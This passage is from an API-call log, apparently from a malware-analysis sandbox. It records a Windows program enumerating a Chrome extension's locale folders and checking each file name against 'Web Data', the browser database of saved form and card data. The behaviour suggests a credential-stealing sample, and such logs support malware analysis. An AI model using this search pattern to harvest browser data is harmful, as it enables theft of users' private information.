Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.384] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.384] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.384] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" [0054.384] LocalFree (hMem=0x74cf00) returned 0x0 [0054.384] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.384] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" [0054.384] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*" [0054.384] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.384] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.384] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.384] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.384] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.384] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.384] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.384] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.384] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.384] LocalFree (hMem=0x74cf00) returned 0x0 [0054.384] LocalFree (hMem=0x74d010) returned 0x0 [0054.384] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.384] lstrcmpiA (lpString1=".", lpString2="pl") returned -1 [0054.384] lstrcmpiA (lpString1="..", lpString2="pl") returned -1 [0054.384] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.384] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.384] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.384] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.384] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.384] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" [0054.384] LocalFree (hMem=0x74cf00) returned 0x0 [0054.384] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.384] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" [0054.384] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*" [0054.384] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.385] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.385] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.385] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.385] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.385] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.385] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.385] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.385] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.385] LocalFree (hMem=0x74cf00) returned 0x0 [0054.385] LocalFree (hMem=0x74d010) returned 0x0 [0054.385] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.385] lstrcmpiA (lpString1=".", lpString2="pt_BR") returned -1 [0054.385] lstrcmpiA (lpString1="..", lpString2="pt_BR") returned -1 [0054.385] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.385] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.385] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.385] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x74d010 [0054.385] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.385] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" [0054.385] LocalFree (hMem=0x74cf00) returned 0x0 [0054.385] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x75e920 [0054.385] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" [0054.385] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*" [0054.385] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.386] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.386] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.386] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.386] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.386] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.386] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.386] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.386] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.386] LocalFree (hMem=0x75e920) returned 0x0 [0054.386] LocalFree (hMem=0x74d010) returned 0x0 [0054.386] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.386] lstrcmpiA (lpString1=".", lpString2="pt_PT") returned -1 [0054.386] lstrcmpiA (lpString1="..", lpString2="pt_PT") returned -1 [0054.386] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.386] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.386] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.386] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x74d010 [0054.386] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.386] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" [0054.386] LocalFree (hMem=0x74cf00) returned 0x0 [0054.386] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x75e920 [0054.386] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" [0054.386] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*" [0054.386] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.387] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.387] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.387] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.387] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.387] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.387] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.387] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.387] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.387] LocalFree (hMem=0x75e920) returned 0x0 [0054.387] LocalFree (hMem=0x74d010) returned 0x0 [0054.387] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.387] lstrcmpiA (lpString1=".", lpString2="ro") returned -1 [0054.387] lstrcmpiA (lpString1="..", lpString2="ro") returned -1 [0054.387] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.387] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.387] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.387] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.387] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.387] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" [0054.387] LocalFree (hMem=0x74cf00) returned 0x0 [0054.387] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.387] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" [0054.387] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*" [0054.387] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.387] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.387] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.387] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.387] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.387] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.387] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.387] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.388] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.388] LocalFree (hMem=0x74cf00) returned 0x0 [0054.388] LocalFree (hMem=0x74d010) returned 0x0 [0054.388] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.388] lstrcmpiA (lpString1=".", lpString2="ru") returned -1 [0054.388] lstrcmpiA (lpString1="..", lpString2="ru") returned -1 [0054.388] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.388] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.388] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.388] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.388] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.388] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 